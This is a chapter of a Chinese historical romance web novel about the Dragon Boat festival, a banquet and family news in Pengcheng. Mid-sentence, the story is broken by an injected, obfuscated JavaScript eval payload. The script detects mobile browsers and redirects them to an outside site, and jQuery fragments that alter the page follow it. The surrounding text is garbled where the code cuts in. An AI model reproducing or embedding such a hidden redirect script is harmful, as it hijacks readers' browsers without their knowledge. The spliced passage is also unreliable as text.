24. 端午

作品:《汴京钓鳌客

    “唐家?在城里哪块来着?”


    “哎呀,翰林街对面那片宅子就是唐家。”那算是钱文妤家的邻居了。


    “怎么了?”徐客遥竖起耳朵,好久没听到城里的趣闻了。


    “张延,不是借住唐家吗?这户人家人丁少,又是巨富,张延独门独院地住着。”


    徐客遥没懂:“然后呢?”


    “唐家就一位千金,唐掌柜护成眼珠子一样。”


    钱文妤补充:“你见过她,上次咱们下山前面那辆豪华马车的主人就是她。”


    徐客遥想起来了,她吵不过自己。


    “借住在唐家的有四位武宁军的年轻小将,唐掌柜只看上了张延,张延也跟这位唐家姑娘相看过多次了。”


    “那他怎么又跟嫣儿家求亲?”


    “城里现在都看热闹呢!唐掌柜都把张延当他自家人了,还带他去看米铺。结果张延扭头要当都督府的女婿,气得唐掌柜直接病倒了,让家丁把张延从家里赶出去。”


    “真的赶出唐家了?”


    “现在好像住在靠近城门子的旅馆。”


    “啊?”钱文妤她们都觉得奇怪,“他不是汴京贵公子吗,城门附近哪有什么好的邸店?”


    徐嫣也不知道,叹了口气:“门房收了很多人家的拜帖,上门的媒婆我可以推了不见,但有些身份的夫人们受托来都督府瞧瞧我,总得在一旁陪着插花点茶。我跟主母说来兴化寺祈福,这几天就跟着你住了。”


    徐客遥拿出自己新写的书稿,传给她俩看:“上回去颍昌府迎亲,见到好多新鲜菜色,你们看看有没有想尝的菜,晚上我们去春好轩的廊亭摆一桌?”


    徐家主君徐长恭在大哥徐正瑾大婚后就离开了。三天后,收到徐父来信,说自己在汴京看中了两块地皮,请萧氏派两个可靠的家丁送一万多贯钱。


    过了没几日,又收到徐父可怜巴巴地诉苦:汴京城地小,朝廷没有分配官邸。自己和哥哥家里一共几十口人,找不到合适的府宅。他想着租房也没有买地划算,又请萧氏送钱去汴京。


    连着折腾了几回,萧氏直接自己带人坐船去了汴京,找了个牙行,买下了两座有跨院的民宅。


    新媳妇吕冰蝉和徐正瑾留在汴京的新家张罗,萧氏回来收拾家里必带的大件,安排人走水路先运过去。


    春好轩的架子床比大多数船舱都大,带不走。徐客遥她们晚上还是住这。


    城里过端午的动静不小,活动都归本家太太筹划,徐嫣对进度了如指掌。


    “今年就在泗水办龙舟争标赛,附近几个州府的人都来,上午是几大驻军比赛,下午是里正们带着村里青壮比。”


    徐客遥想到自己端午后就要离开彭城,还真有些不舍。这里民风淳朴,城里遇着节庆,总是热闹而祥和。


    钱文妤有些担心:“你家主母安排什么时候启程赴京,还能赶得上我成亲吗?”


    徐客遥靠在门围软垫上揉吃饱的肚子:“说是端午后,也不知道是哪一日。”


    “赶不上也不要紧,尽管跟着去,不用你留在彭城陪我。到时候你一个人上路,我反而要担心。”钱文妤的婚期定在端午后的五月八日,当天就坐船去金陵施家,此次一别,真不知道两个人什么时候才会再见。


    徐客遥心大,她家里父兄都在还谋前程,二哥徐正瑞、三哥徐正琦也还没有说亲。萧氏的意思是,到了汴京,她的年龄也不打眼了。等父亲得了授官、二哥科举入仕后再给她说亲,儿郎的家世也能好不少。


    “我还没嫁人呢,去金陵看你也没有人拘着,哪里有那么难见面!运河这么宽,难道塞不下我的一叶扁舟?金陵也是古都,我肯定要去玩,你备好钱粮等我搜刮就是。”


    钱文妤没好气地推她,自己只是抒发出阁前的伤感而已,真要见面,施家也没人能管得住她。徐嫣从帐纱后探出头来:“我也还早着呢,姐姐们尽管写信给我,我去看你们。”她家里生母姨娘身体不好,大夫再用心治,寿尽也就在这几年了。徐嫣想替她守孝三年,但姨娘不愿意耽误她,一直勉力支撑着病躯。


    四月二十五,徐舟远和王坦之办迎亲仪式,地点定在都督府的园圃。开阔的草地和晴朗的天气让赴宴的人心旷神怡。大婚正礼要等二位新人去晋阳办,今天只请了秦老将军、季节帅、钱老翰林这几家长辈来吃席,其余宾客都是徐舟远他们同龄的玩伴。


    徐舟远把准备设宴的活儿都分给了家里的兄弟姐妹。徐正瑞抄了好几日请柬,徐正琦要陪玩待客,徐客遥对彭城的物产了然于胸,要负责拟定菜色,张罗一场特色宴。


    彭祖篯铿是烹调业的祖师爷,相传夏朝因擅长野鸡汤而得到帝尧的封赏。他在饮食养生之道上影响深远,如今,彭城百姓仍然不忘先祖遗风。自徐客遥记事起,家里厨房便会依照节气采买合时令的蔬菜,根据体质给每个人送或温补或降火的药膳。


    徐客遥翻了好几日彭城里各个区域的县志,拟定的菜单一长串。


    雉羹、羊方藏鱼、霸王别姬、鸡丁糁汤、龙门鱼、鸳鸯鸡、睢宁豆干、烙饼、糖藕、馓子,以前朝诗人命名的愈炙鱼、乐天炖鸭,彭城特产的裹烤野鸡、河蚌汤、香煎翘嘴白鱼。


    园圃上还设了几张长桌,布置了不少茶点和食玩,包括供人体验的水丹青点茶工具。


    都督府本家太太高薪从外面聘来的厨娘水平了得,王家送来的大厨也不遑多让,双方较着劲,出品的菜肴滋味又足、卖相又好。


    徐舟远陪从其他州府赶来的闺中蜜友打叶子戏,王坦之在一旁的小凳上靠着她。


    或许是婚前相处得足够久,二人看着不像是即将大婚的新人,倒像一对青梅竹马的玩伴。


    而有秦老将军的地方就有曹炜。徐客遥觉得自己上回发烧一整夜,也有他的责任,偷偷瞪他。


    那冰要是别人送来的,她就不会逞能不用,自己也就不会发烧了。


    她在心里给曹炜设置了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588950|143194||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    功过格,曹炜,记大过。


    端午前,徐客遥连着许多天都没有见到曹炜,所以当曹炜赤膊举起舞狮时,她相当陌生。


    彭城附近的村子主要种植冬小麦和蜀黍,本月下旬收割,农闲时刚好有空排练龙舟。


    泗河水边被百姓围得严严实实,都督府本家太太找了临水的酒楼包间,请她们坐在窗子前看,自己去听城中守卫的回话。


    水上支起一个圆台,彭城、武宁军和附近州府的官员坐在对岸高楼的露台上,视野比包间里的她们要好多了。


    晨雾完全被旭日驱散时,龙舟赛正式开幕了。


    开场的是振奋人心的鼓乐仪仗,河边的百姓也跟着节奏拍掌,迎接上午比赛的几只龙船。


    徐客遥向下扫了一眼,一个眼熟的面孔都没有,她甚至分不清哪个是武宁军的龙船。不过也正常,参加这场龙舟赛的大多是普通小兵,级别高一些的武将都在露台上观赛呢。


    场上曲风已转,换了一支婉转的小调,一队身穿长袖粉衣、抱着荷花的艺人鱼贯而出。她们从岸上轻轻跃入圆台,伴随着花蕊夫人所作的采莲曲,缓步踩着拍子,变换队形而舞。徐客遥从台上向下看,她们的粉衣都好像组成了一朵含苞欲放的雨中清荷。


    “哇!这也太整齐了!”徐嫣在窗前惊叹,今日俯视艺人们的队形,才领略到平日里看不出所以然的舞蹈表演有多惊艳。


    “往后退一点,别把身子探出去,一会掉下去了你就出名了。”徐客遥笑着提醒嫣儿,这个包间开窗的位置有些低,伸出去看确实有些危险。


    “媛媛姐今儿没来吗?”


    “她前天跟姐夫去晋阳了,说是六月回彭城。”


    “你怎么没戴我给你编的长命缕?”徐嫣拉住她的胳膊,看到她手腕空空。


    “戴啦戴啦,你看。”徐客遥从腰间解下香囊,上头系着的正是徐嫣送她的五色彩缕。


    徐嫣轻轻嗅了一下:“你这个比我的香,但没什么刺鼻气味,你偷偷减了艾草?”


    那怎么行呢?祈福安康的香囊按照旧俗,蚌粉、朱砂、雄黄、艾草都不能少。


    “小心五虫专咬你。”


    包间的墙壁和窗框上,酒家也悬挂了艾草和菖蒲,徐客遥多待了一会,便觉得鼻子受不住这个气味。


    打眼往圆台上看,已经轮到舞狮表演了,此时是两只憨态可掬的金狮在跳舞。


    没一会,台上锣鼓越来越快,金狮一跃,竟是跳到了水车前头的梅花桩上,距徐客遥所在的直棂窗只有丈许。


    徐嫣拆了一只亭台形状的巧粽,问徐客遥吃不吃。但她正为单脚站在小圆桩上的金狮紧张着,捏着帕子看两只金狮在梅花桩上穿行。


    跳了几个来回,一只金狮突然跃到同伴的背上,狮口咬着绣球,往前轻轻一吐,绣球刚好落在她们的窗台上。


    徐客遥猜都不用猜,绝对是曹炜那个坏蛋。她拿帕子掩住脸,合上了自己这边的半扇窗。